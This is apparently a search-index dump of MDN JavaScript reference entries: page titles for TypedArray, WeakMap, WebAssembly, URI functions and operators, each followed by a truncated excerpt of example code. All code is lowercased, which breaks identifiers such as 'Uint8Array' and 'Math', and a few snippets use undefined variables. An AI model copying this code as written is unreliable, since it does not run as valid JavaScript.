Symbol.prototype.valueOf() - JavaScript
examples using valueof const sym = symbol("example"); sym === sym.valueof(); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.prototype.valueof' in that specification.
SyntaxError() constructor - JavaScript
essage); // hello console.error(e.name); // syntaxerror console.error(e.filename); // somefile.js console.error(e.linenumber); // 10 console.error(e.columnnumber); // 0 console.error(e.stack); // @debugger eval code:3:9 } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
SyntaxError - JavaScript
essage); // hello console.error(e.name); // syntaxerror console.error(e.filename); // somefile.js console.error(e.linenumber); // 10 console.error(e.columnnumber); // 0 console.error(e.stack); // @debugger eval code:3:9 } specifications specification ecmascript (ecma-262)the definition of 'syntaxerror' in that specification.
TypeError() constructor - JavaScript
/ true console.log(e.message) // "hello" console.log(e.name) // "typeerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
TypeError - JavaScript
/ true console.log(e.message) // "hello" console.log(e.name) // "typeerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'typeerror' in that specification.
get TypedArray[@@species] - JavaScript
however, you might want to overwrite this, in order to return a parent typed array object in your derived class methods: class mytypedarray extends uint8array { // overwrite mytypedarray species to the parent uint8array constructor static get [symbol.species]() { return uint8array; } } specifications specification ecmascript (ecma-262)the definition of 'get %typedarray% [ @@species ]' in that specification.
TypedArray.BYTES_PER_ELEMENT - JavaScript
per_element; // 1 uint8clampedarray.bytes_per_element; // 1 int16array.bytes_per_element; // 2 uint16array.bytes_per_element; // 2 int32array.bytes_per_element; // 4 uint32array.bytes_per_element; // 4 float32array.bytes_per_element; // 4 float64array.bytes_per_element; // 8 specifications specification ecmascript (ecma-262)the definition of 'typedarray.bytes_per_element' in that specification.
TypedArray.prototype.buffer - JavaScript
examples using the buffer property var buffer = new arraybuffer(8); var uint16 = new uint16array(buffer); uint16.buffer; // arraybuffer { bytelength: 8 } specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.buffer' in that specification.
TypedArray.prototype.byteLength - JavaScript
uint8 = new uint8array(buffer); uint8.bytelength; // 8 (matches the bytelength of the buffer) var uint8 = new uint8array(buffer, 1, 5); uint8.bytelength; // 5 (as specified when constructing the uint8array) var uint8 = new uint8array(buffer, 2); uint8.bytelength; // 6 (due to the offset of the constructed uint8array) specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.bytelength' in that specification.
TypedArray.prototype.byteOffset - JavaScript
examples using the byteoffset property var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.byteoffset; // 0 (no offset specified) var uint8 = new uint8array(buffer, 3); uint8.byteoffset; // 3 (as specified when constructing uint8array) specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.byteoffset' in that specification.
TypedArray.prototype.copyWithin() - JavaScript
examples using copywithin var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.set([1,2,3]); console.log(uint8); // uint8array [ 1, 2, 3, 0, 0, 0, 0, 0 ] uint8.copywithin(3,0,3); console.log(uint8); // uint8array [ 1, 2, 3, 1, 2, 3, 0, 0 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.copywithin' in that specification.
TypedArray.prototype.entries() - JavaScript
; } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.entries(); console.log(earr.next().value); // [0, 10] console.log(earr.next().value); // [1, 20] console.log(earr.next().value); // [2, 30] console.log(earr.next().value); // [3, 40] console.log(earr.next().value); // [4, 50] specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.entries()' in that specification.
TypedArray.prototype.every() - JavaScript
new uint8array([12, 5, 8, 130, 44]).every(elem => elem >= 10); // false new uint8array([12, 54, 18, 130, 44]).every(elem => elem >= 10); // true specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.every' in that specification.
TypedArray.prototype.fill() - JavaScript
([1, 2, 3]).fill(4); // uint8array [4, 4, 4] new uint8array([1, 2, 3]).fill(4, 1); // uint8array [1, 4, 4] new uint8array([1, 2, 3]).fill(4, 1, 2); // uint8array [1, 4, 3] new uint8array([1, 2, 3]).fill(4, 1, 1); // uint8array [1, 2, 3] new uint8array([1, 2, 3]).fill(4, -3, -2); // uint8array [4, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.fill' in that specification.
TypedArray.prototype.filter() - JavaScript
new uint8array([12, 5, 8, 130, 44]).filter(elem => elem >= 10); // uint8array [ 12, 130, 44 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.filter' in that specification.
TypedArray.prototype.find() - JavaScript
function isprime(element, index, array) { var start = 2; while (start <= math.sqrt(element)) { if (element % start++ < 1) { return false; } } return element > 1; } var uint8 = new uint8array([4, 5, 8, 12]); console.log(uint8.find(isprime)); // 5 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.find' in that specification.
TypedArray.prototype.findIndex() - JavaScript
2; while (start <= math.sqrt(element)) { if (element % start++ < 1) { return false; } } return element > 1; } var uint8 = new uint8array([4, 6, 8, 12]); var uint16 = new uint16array([4, 6, 7, 12]); console.log(uint8.findindex(isprime)); // -1, not found console.log(uint16.findindex(isprime)); // 2 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.findindex' in that specification.
TypedArray.prototype.forEach() - JavaScript
logging the contents of a typed array the following code logs a line for each element in a typed array: function logarrayelements(element, index, array) { console.log('a[' + index + '] = ' + element); } new uint8array([0, 1, 2, 3]).foreach(logarrayelements); // logs: // a[0] = 0 // a[1] = 1 // a[2] = 2 // a[3] = 3 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.foreach' in that specification.
TypedArray.from() - JavaScript
23'); // int16array [ 1, 2, 3 ] use with arrow function and map using an arrow function as the map function to manipulate the elements float32array.from([1, 2, 3], x => x + x); // float32array [ 2, 4, 6 ] generate a sequence of numbers uint8array.from({length: 5}, (v, k) => k); // uint8array [ 0, 1, 2, 3, 4 ] specifications specification ecmascript (ecma-262)the definition of '%typedarray%.from' in that specification.
TypedArray.prototype.includes() - JavaScript
nt8.includes(4); // false uint8.includes(3, 3); // false // nan handling (only true for float32 and float64) new uint8array([nan]).includes(nan); // false, since the nan passed to the constructor gets converted to 0 new float32array([nan]).includes(nan); // true; new float64array([nan]).includes(nan); // true; specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.includes' in that specification.
TypedArray.prototype.indexOf() - JavaScript
examples using indexof var uint8 = new uint8array([2, 5, 9]); uint8.indexof(2); // 0 uint8.indexof(7); // -1 uint8.indexof(9, 2); // 2 uint8.indexof(2, -1); // -1 uint8.indexof(2, -3); // 0 specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.indexof' in that specification.
TypedArray.prototype.join() - JavaScript
examples using join var uint8 = new uint8array([1,2,3]); uint8.join(); // '1,2,3' uint8.join(' / '); // '1 / 2 / 3' uint8.join(''); // '123' specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.join' in that specification.
TypedArray.prototype.keys() - JavaScript
(let n of earray) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.keys(); console.log(earr.next().value); // 0 console.log(earr.next().value); // 1 console.log(earr.next().value); // 2 console.log(earr.next().value); // 3 console.log(earr.next().value); // 4 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.keys()' in that specification.
TypedArray.prototype.lastIndexOf() - JavaScript
examples using lastindexof var uint8 = new uint8array([2, 5, 9, 2]); uint8.lastindexof(2); // 3 uint8.lastindexof(7); // -1 uint8.lastindexof(2, 3); // 3 uint8.lastindexof(2, 2); // 0 uint8.lastindexof(2, -2); // 0 uint8.lastindexof(2, -1); // 3 specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.lastindexof' in that specification.
TypedArray.prototype.length - JavaScript
ybuffer(8); var uint8 = new uint8array(buffer); uint8.length; // 8 (matches the length of the buffer) var uint8 = new uint8array(buffer, 1, 5); uint8.length; // 5 (as specified when constructing the uint8array) var uint8 = new uint8array(buffer, 2); uint8.length; // 6 (due to the offset of the constructed uint8array) specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.length' in that specification.
TypedArray.prototype.map() - JavaScript
const numbers = new uint8array([1, 4, 9]); const doubles = numbers.map(function(num) { return num * 2; }); // doubles is now uint8array [2, 8, 18] // numbers is still uint8array [1, 4, 9] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.map' in that specification.
TypedArray.name - JavaScript
e; // "uint8array" uint8clampedarray.name; // "uint8clampedarray" int16array.name; // "int16array" uint16array.name; // "uint16array" int32array.name; // "int32array" uint32array.name; // "uint32array" float32array.name; // "float32array" float64array.name; // "float64array" specifications specification ecmascript (ecma-262)the definition of 'typedarray.name' in that specification.
TypedArray.of() - JavaScript
examples using of uint8array.of(1); // uint8array [ 1 ] int8array.of('1', '2', '3'); // int8array [ 1, 2, 3 ] float32array.of(1, 2, 3); // float32array [ 1, 2, 3 ] int16array.of(undefined); // int16array [ 0 ] specifications specification ecmascript (ecma-262)the definition of '%typedarray%.of' in that specification.
TypedArray.prototype.reverse() - JavaScript
examples using reverse var uint8 = new uint8array([1, 2, 3]); uint8.reverse(); console.log(uint8); // uint8array [3, 2, 1] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.reverse' in that specification.
TypedArray.prototype.set() - JavaScript
examples using set() var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.set([1, 2, 3], 3); console.log(uint8); // uint8array [ 0, 0, 0, 1, 2, 3, 0, 0 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.set' in that specification.
TypedArray.prototype.slice() - JavaScript
examples return a portion of an existing typed array const uint8 = new uint8array([1,2,3]); uint8.slice(1); // uint8array [ 2, 3 ] uint8.slice(2); // uint8array [ 3 ] uint8.slice(-2); // uint8array [ 2, 3 ] uint8.slice(0,1); // uint8array [ 1 ] specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.slice' in that specification.
TypedArray.prototype.some() - JavaScript
new uint8array([2, 5, 8, 1, 4]).some(elem => elem > 10); // false new uint8array([12, 5, 8, 1, 4]).some(elem => elem > 10); // true specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.some' in that specification.
TypedArray.prototype.sort() - JavaScript
// regular arrays require a compare function to sort numerically: numbers = [40, 1, 5, 200]; numbers.sort(); // [1, 200, 40, 5] numbers.sort((a, b) => a - b); // compare numbers // [ 1, 5, 40, 200 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.sort' in that specification.
TypedArray.prototype.subarray() - JavaScript
examples using the subarray method var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.set([1,2,3]); console.log(uint8); // uint8array [ 1, 2, 3, 0, 0, 0, 0, 0 ] var sub = uint8.subarray(0,4); console.log(sub); // uint8array [ 1, 2, 3, 0 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.subarray' in that specification.
TypedArray.prototype.toLocaleString() - JavaScript
ring var uint = new uint32array([2000, 500, 8123, 12, 4212]); uint.tolocalestring(); // if run in a de-de locale // "2.000,500,8.123,12,4.212" uint.tolocalestring('en-us'); // "2,000,500,8,123,12,4,212" uint.tolocalestring('ja-jp', { style: 'currency', currency: 'jpy' }); // "¥2,000,¥500,¥8,123,¥12,¥4,212" specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.tolocalestring' in that specification.
TypedArray.prototype.toString() - JavaScript
compatibility if a browser doesn't support the typedarray.prototype.tostring() method yet, javascript will call the tostring method of object: var numbers = new uint8array([2, 5, 8, 1, 4]) numbers.tostring(); // "[object uint8array]" specifications specification ecmascript (ecma-262)the definition of 'array.prototype.tostring' in that specification.
TypedArray.prototype.values() - JavaScript
of earray) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.values(); console.log(earr.next().value); // 10 console.log(earr.next().value); // 20 console.log(earr.next().value); // 30 console.log(earr.next().value); // 40 console.log(earr.next().value); // 50 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.values()' in that specification.
TypedArray - JavaScript
]; // 0 // even when out of bound int8array.prototype[20] = 'foo'; (new int8array(8))[20]; // undefined // or with negative integers int8array.prototype[-1] = 'foo'; (new int8array(8))[-1]; // undefined // named properties are allowed, though (fx 30) int8array.prototype.foo = 'bar'; (new int8array(32)).foo; // "bar" specifications specification ecmascript (ecma-262)the definition of 'typedarray objects' in that specification.
URIError() constructor - JavaScript
ror) // true console.log(e.message) // "hello" console.log(e.name) // "urierror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
URIError - JavaScript
ror) // true console.log(e.message) // "hello" console.log(e.name) // "urierror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'urierror' in that specification.
WeakMap() constructor - JavaScript
o2); // undefined, because there is no key for o2 on wm2 wm2.get(o3); // undefined, because that is the set value wm1.has(o2); // true wm2.has(o2); // false wm2.has(o3); // true (even if the value itself is 'undefined') wm3.set(o1, 37); wm3.get(o1); // 37 wm1.has(o1); // true wm1.delete(o1); wm1.has(o1); // false specifications specification ecmascript (ecma-262)the definition of 'weakmap constructor' in that specification.
WeakMap.prototype.delete() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.delete' in that specification.
WeakMap.prototype.get() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.get' in that specification.
WeakMap.prototype.has() - JavaScript
examples using the has method var wm = new weakmap(); wm.set(window, 'foo'); wm.has(window); // returns true wm.has('baz'); // returns false specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.has' in that specification.
WeakMap.prototype.set() - JavaScript
examples using the set method var wm = new weakmap(); var obj = {}; // add new elements to the weakmap wm.set(obj, 'foo').set(window, 'bar'); // chainable // update an element in the weakmap wm.set(obj, 'baz'); specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.set' in that specification.
WeakRef() constructor - JavaScript
class counter { constructor(element) { // remember a weak reference to a dom element this.ref = new weakref(element); this.start(); } } specifications specification weakrefsthe definition of 'weakref constructor' in that specification.
WeakRef.prototype.deref() - JavaScript
const tick = () => { // get the element from the weak reference, if it still exists const element = this.ref.deref(); if (element) { element.textcontent = ++this.count; } else { // the element doesn't exist anymore console.log("the element is gone."); this.stop(); this.ref = null; } }; specifications specification weakrefsthe definition of 'weakref.prototype.deref()' in that specification.
WeakRef - JavaScript
} }; tick(); this.timer = setinterval(tick, 1000); } stop() { if (this.timer) { clearinterval(this.timer); this.timer = 0; } } } const counter = new counter(document.getelementbyid("counter")); counter.start(); settimeout(() => { document.getelementbyid("counter").remove(); }, 5000); specifications specification weakrefsthe definition of 'weakref' in that specification.
WeakSet() constructor - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'weakset constructor' in that specification.
WeakSet.prototype.add() - JavaScript
examples using add var ws = new weakset(); ws.add(window); // add the window object to the weakset ws.has(window); // true // weakset only takes objects as arguments ws.add(1); // results in "typeerror: invalid value used in weak set" in chrome // and "typeerror: 1 is not a non-null object" in firefox specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.add' in that specification.
WeakSet.prototype.delete() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.delete' in that specification.
WeakSet.prototype.has() - JavaScript
examples using the has method var ws = new weakset(); var obj = {}; ws.add(window); myset.has(window); // returns true myset.has(obj); // returns false specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.has' in that specification.
WebAssembly.Instance() constructor - JavaScript
chronous webassembly.instantiatestreaming() function, for example like this: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); specifications specification webassembly javascript interfacethe definition of 'instance' in that specification.
WebAssembly.Instance.prototype.exports - JavaScript
specifications specification webassembly javascript interfacethe definition of 'webassembly.instance: exports' in that specification.
WebAssembly.Instance - JavaScript
specifications specification webassembly javascript interfacethe definition of 'instance' in that specification.
WebAssembly.Memory.prototype.buffer - JavaScript
webassembly.instantiatestreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 = new uint32array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); specifications specification webassembly javascript interfacethe definition of 'buffer' in that specification.
WebAssembly.Module() constructor - JavaScript
}; function createwasmmodule(bytes) { return new webassembly.module(bytes); } fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = createwasmmodule(bytes); webassembly.instantiate(mod, importobject) .then(result => result.exports.exported_func() ); }) specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification.
WebAssembly.Module.customSections() - JavaScript
webassembly.compilestreaming(fetch('simple-name-section.wasm')) .then(function(mod) { var namesections = webassembly.module.customsections(mod, "name"); if (namesections.length != 0) { console.log("module contains a name section"); console.log(namesections[0]); }; }); specifications specification webassembly javascript interfacethe definition of 'customsections()' in that specification.
WebAssembly.Module.exports() - JavaScript
ead'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); var exports = webassembly.module.exports(mod); console.log(exports[0]); }; the exports[0] output looks like this: { name: "exported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'exports()' in that specification.
WebAssembly.Module.imports() - JavaScript
webassembly.compilestreaming(fetch('simple.wasm')) .then(function(mod) { var imports = webassembly.module.imports(mod); console.log(imports[0]); }); the output looks like this: { module: "imports", name: "imported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'imports()' in that specification.
WebAssembly.Module - JavaScript
t = { imports: { imported_func: function(arg) { console.log(arg); } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); }; specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification.
WebAssembly.Table.prototype.get() - JavaScript
specifications specification webassembly javascript interfacethe definition of 'get()' in that specification.
WebAssembly.compile() - JavaScript
specifications specification webassembly javascript interfacethe definition of 'compile()' in that specification.
WebAssembly.compileStreaming() - JavaScript
specifications specification webassembly features for web embeddingthe definition of 'compilestreaming()' in that specification.
WebAssembly.instantiate() - JavaScript
t = { imports: { imported_func: function(arg) { console.log(arg); } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); }; specifications specification webassembly javascript interfacethe definition of 'instantiate()' in that specification.
WebAssembly.instantiateStreaming() - JavaScript
specifications specification webassembly features for web embeddingthe definition of 'instantiatestreaming()' in that specification.
WebAssembly.validate() - JavaScript
"" : "not ") + "a valid wasm module"); }); specifications specification webassembly javascript interfacethe definition of 'validate()' in that specification.
WebAssembly - JavaScript
specifications specification webassembly javascript interfacethe definition of 'webassembly' in that specification.
decodeURI() - JavaScript
les decoding a cyrillic url decodeuri('https://developer.mozilla.org/ru/docs/javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "https://developer.mozilla.org/ru/docs/javascript_шеллы" catching errors try { var a = decodeuri('%e0%a4%a'); } catch(e) { console.error(e); } // urierror: malformed uri sequence specifications specification ecmascript (ecma-262)the definition of 'decodeuri' in that specification.
decodeURIComponent() - JavaScript
function decodequeryparam(p) { return decodeuricomponent(p.replace(/\+/g, ' ')); } decodequeryparam('search+query%20%28correct%29'); // 'search query (correct)' specifications specification ecmascript (ecma-262)the definition of 'decodeuricomponent' in that specification.
encodeURI() - JavaScript
ollow the more recent rfc3986 for urls, which makes square brackets reserved (for ipv6) and thus not encoded when forming something which could be part of a url (such as a host), the following code snippet may help: function fixedencodeuri(str) { return encodeuri(str).replace(/%5b/g, '[').replace(/%5d/g, ']'); } specifications specification ecmascript (ecma-262)the definition of 'encodeuri' in that specification.
encodeURIComponent() - JavaScript
// which necessitates calling touppercase() to properly encode) // the following are not required for percent-encoding per rfc5987, // so we can allow for a little better readability over the wire: |`^ replace(/%(7c|60|5e)/g, (str, hex) => string.fromcharcode(parseint(hex, 16))); } specifications specification ecmascript (ecma-262)the definition of 'encodeuricomponent' in that specification.
escape() - JavaScript
examples using escape escape('abc123'); // "abc123" escape('äöü'); // "%e4%f6%fc" escape('ć'); // "%u0107" // special characters escape('@*_+-./'); // "@*_+-./" specifications specification ecmascript (ecma-262)the definition of 'escape' in that specification.
eval() - JavaScript
: ' + b); a = false; b = eval(str); // returns 3 console.log('b is : ' + b); eval as a string defining function requires "(" and ")" as prefix and suffix var fctstr1 = 'function a() {}' var fctstr2 = '(function a() {})' var fct1 = eval(fctstr1) // return undefined var fct2 = eval(fctstr2) // return a function specifications specification ecmascript (ecma-262)the definition of 'eval' in that specification.
globalThis - JavaScript
} specifications specification ecmascript (ecma-262)the definition of 'globalthis' in that specification.
isNaN() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'isnan' in that specification.
unescape() - JavaScript
examples using unescape unescape('abc123'); // "abc123" unescape('%e4%f6%fc'); // "äöü" unescape('%u0107'); // "ć" specifications specification ecmascript (ecma-262)the definition of 'unescape' in that specification.
Addition (+) - JavaScript
on 1 + 2 // 3 // boolean + number -> addition true + 1 // 2 // boolean + boolean -> addition false + false // 0 string concatenation // string + string -> concatenation 'foo' + 'bar' // "foobar" // number + string -> concatenation 5 + 'foo' // "5foo" // string + boolean -> concatenation 'foo' + false // "foofalse" specifications specification ecmascript (ecma-262)the definition of 'addition operator' in that specification.
Addition assignment (+=) - JavaScript
r + number -> addition bar += 2 // 7 // boolean + number -> addition baz += 1 // 2 // boolean + boolean -> addition baz += false // 1 // number + string -> concatenation bar += 'foo' // "5foo" // string + boolean -> concatenation foo += false // "foofalse" // string + string -> concatenation foo += 'bar' // "foobar" specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Assignment (=) - JavaScript
syntax operator: x = y examples simple assignment and chaining // assuming the following variables // x = 5 // y = 10 // z = 25 x = y // x is 10 x = y = z // x, y and z are all 25 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Bitwise AND (&) - JavaScript
examples using bitwise and // 5: 00000000000000000000000000000101 // 2: 00000000000000000000000000000010 5 & 2; // 0 specifications specification ecmascript (ecma-262)the definition of 'bitwise and expression' in that specification.
Bitwise AND assignment (&=) - JavaScript
syntax operator: x &= y meaning: x = x & y examples using bitwise and assignment let a = 5; // 5: 00000000000000000000000000000101 // 2: 00000000000000000000000000000010 a &= 2; // 0 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Bitwise NOT (~) - JavaScript
examples using bitwise not ~0; // -1 ~-1; // 0 ~1; // -2 specifications specification ecmascript (ecma-262)the definition of 'unary not expression' in that specification.
Bitwise OR (|) - JavaScript
examples using bitwise or // 9 (00000000000000000000000000001001) // 14 (00000000000000000000000000001110) 14 | 9; // 15 (00000000000000000000000000001111) specifications specification ecmascript (ecma-262)the definition of 'bitwise or expression' in that specification.
Bitwise OR assignment (|=) - JavaScript
syntax operator: x |= y meaning: x = x | y examples using bitwise or assignment let a = 5; a |= 2; // 7 // 5: 00000000000000000000000000000101 // 2: 00000000000000000000000000000010 // ----------------------------------- // 7: 00000000000000000000000000000111 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Bitwise XOR (^) - JavaScript
examples using bitwise xor // 9 (00000000000000000000000000001001) // 14 (00000000000000000000000000001110) 14 ^ 9; // 7 (00000000000000000000000000000111) specifications specification ecmascript (ecma-262)the definition of 'bitwise xor expression' in that specification.
Bitwise XOR assignment (^=) - JavaScript
= 5; // 00000000000000000000000000000101 a ^= 3; // 00000000000000000000000000000011 console.log(a); // 00000000000000000000000000000110 // 6 let b = 5; // 00000000000000000000000000000101 b ^= 0; // 00000000000000000000000000000000 console.log(b); // 00000000000000000000000000000101 // 5 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Comma operator (,) - JavaScript
so, one could do: function myfunc() { var x = 0; return (x += 1, x); // the same as return ++x; } specifications specification ecmascript (ecma-262)the definition of 'comma operator' in that specification.
Conditional (ternary) operator - JavaScript
value3 : value4; } // equivalent to: function example(…) { if (condition1) { return value1; } else if (condition2) { return value2; } else if (condition3) { return value3; } else { return value4; } } specifications specification ecmascript (ecma-262)the definition of 'conditional operator' in that specification.
Decrement (--) - JavaScript
examples postfix decrement let x = 3; y = x--; // y = 3 // x = 2 prefix decrement let a = 2; b = --a; // a = 1 // b = 1 specifications specification ecmascript (ecma-262)the definition of 'decrement operator' in that specification.
Destructuring assignment - JavaScript
let obj = {self: '123'}; obj.__proto__.prot = '456'; const {self, prot} = obj; // self "123" // prot "456"(access to the prototype chain) specifications specification ecmascript (ecma-262)the definition of 'destructuring assignment' in that specification.
Division (/) - JavaScript
syntax operator: x / y examples basic division 1 / 2 // 0.5 math.floor(3 / 2) // 1 1.0 / 2.0 // 0.5 division by zero 2.0 / 0 // infinity 2.0 / 0.0 // infinity, because 0.0 === 0 2.0 / -0.0 // -infinity specifications specification ecmascript (ecma-262)the definition of 'division operator' in that specification.
Division assignment (/=) - JavaScript
syntax operator: x /= y meaning: x = x / y examples using division assignment // assuming the following variable // bar = 5 bar /= 2 // 2.5 bar /= 'foo' // nan bar /= 0 // infinity specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Equality (==) - JavaScript
ng2 == string3); // true console.log(string3 == string4); // false console.log(string4 == string4); // true comparing dates and strings const d = new date('december 17, 1995 03:24:00'); const s = d.tostring(); // for example: "sun dec 17 1995 03:24:00 gmt-0800 (pacific standard time)" console.log(d == s); //true specifications specification ecmascript (ecma-262)the definition of 'equality operators' in that specification.
Exponentiation (**) - JavaScript
19896 10 ** -1 // 0.1 nan ** 2 // nan associativity 2 ** 3 ** 2 // 512 2 ** (3 ** 2) // 512 (2 ** 3) ** 2 // 64 usage with unary operators to invert the sign of the result of an exponentiation expression: -(2 ** 2) // -4 to force the base of an exponentiation expression to be a negative number: (-2) ** 2 // 4 specifications specification ecmascript (ecma-262)the definition of 'exponentiation operator' in that specification.
Exponentiation assignment (**=) - JavaScript
syntax operator: x **= y meaning: x = x ** y examples using exponentiation assignment // assuming the following variable // bar = 5 bar **= 2 // 25 bar **= 'foo' // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Greater than (>) - JavaScript
console.log(true > 0); // true console.log(true > 1); // false console.log(null > 0); // false console.log(1 > null); // true console.log(undefined > 3); // false console.log(3 > undefined); // false console.log(3 > nan); // false console.log(nan > 3); // false specifications specification ecmascript (ecma-262)the definition of 'relational operators' in that specification.
Greater than or equal (>=) - JavaScript
= true); // false console.log(true >= 0); // true console.log(true >= 1); // true console.log(null >= 0); // true console.log(1 >= null); // true console.log(undefined >= 3); // false console.log(3 >= undefined); // false console.log(3 >= nan); // false console.log(nan >= 3); // false specifications specification ecmascript (ecma-262)the definition of 'relational operators' in that specification.
Grouping operator ( ) - JavaScript
var a = 1; var b = 2; var c = 3; // default precedence a + b * c // 7 // evaluated by default like this a + (b * c) // 7 // now overriding precedence // addition before multiplication (a + b) * c // 9 // which is equivalent to a * c + b * c // 9 specifications specification ecmascript (ecma-262)the definition of 'the grouping operator' in that specification.
Increment (++) - JavaScript
examples postfix increment let x = 3; y = x++; // y = 3 // x = 4 prefix increment let a = 2; b = ++a; // a = 3 // b = 3 specifications specification ecmascript (ecma-262)the definition of 'increment operator' in that specification.
Inequality (!=) - JavaScript
logical not operator null != undefined; // false const number1 = new number(3); const number2 = new number(3); number1 != 3; // false number1 != number2; // true comparison of objects const object1 = {"key": "value"} const object2 = {"key": "value"}; object1 != object2 // true object2 != object2 // false specifications specification ecmascript (ecma-262)the definition of 'equality operators' in that specification.
Left shift (<<) - JavaScript
examples using left shift 9 << 3; // 72 // 9 * (2 ** 3) = 9 * (8) = 72 specifications specification ecmascript (ecma-262)the definition of 'bitwise shift operators' in that specification.
Left shift assignment (<<=) - JavaScript
syntax operator: x <<= y meaning: x = x << y examples using left shift assignment let a = 5; // 00000000000000000000000000000101 bar <<= 2; // 20 // 00000000000000000000000000010100 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Less than (<) - JavaScript
console.log(0 < true); // true console.log(true < 1); // false console.log(null < 0); // false console.log(null < 1); // true console.log(undefined < 3); // false console.log(3 < undefined); // false console.log(3 < nan); // false console.log(nan < 3); // false specifications specification ecmascript (ecma-262)the definition of 'relational operators' in that specification.
Less than or equal (<=) - JavaScript
e); // true console.log(true <= 0); // false console.log(true <= 1); // true console.log(null <= 0); // true console.log(1 <= null); // false console.log(undefined <= 3); // false console.log(3 <= undefined); // false console.log(3 <= nan); // false console.log(nan <= 3); // false specifications specification ecmascript (ecma-262)the definition of 'relational operators' in that specification.
Logical AND (&&) - JavaScript
the following composite operation involving booleans: bcondition1 || (bcondition2 && bcondition3) is always equal to: bcondition1 || bcondition2 && bcondition3 specifications specification ecmascript (ecma-262)the definition of 'logical and expression' in that specification.
Logical AND assignment (&&=) - JavaScript
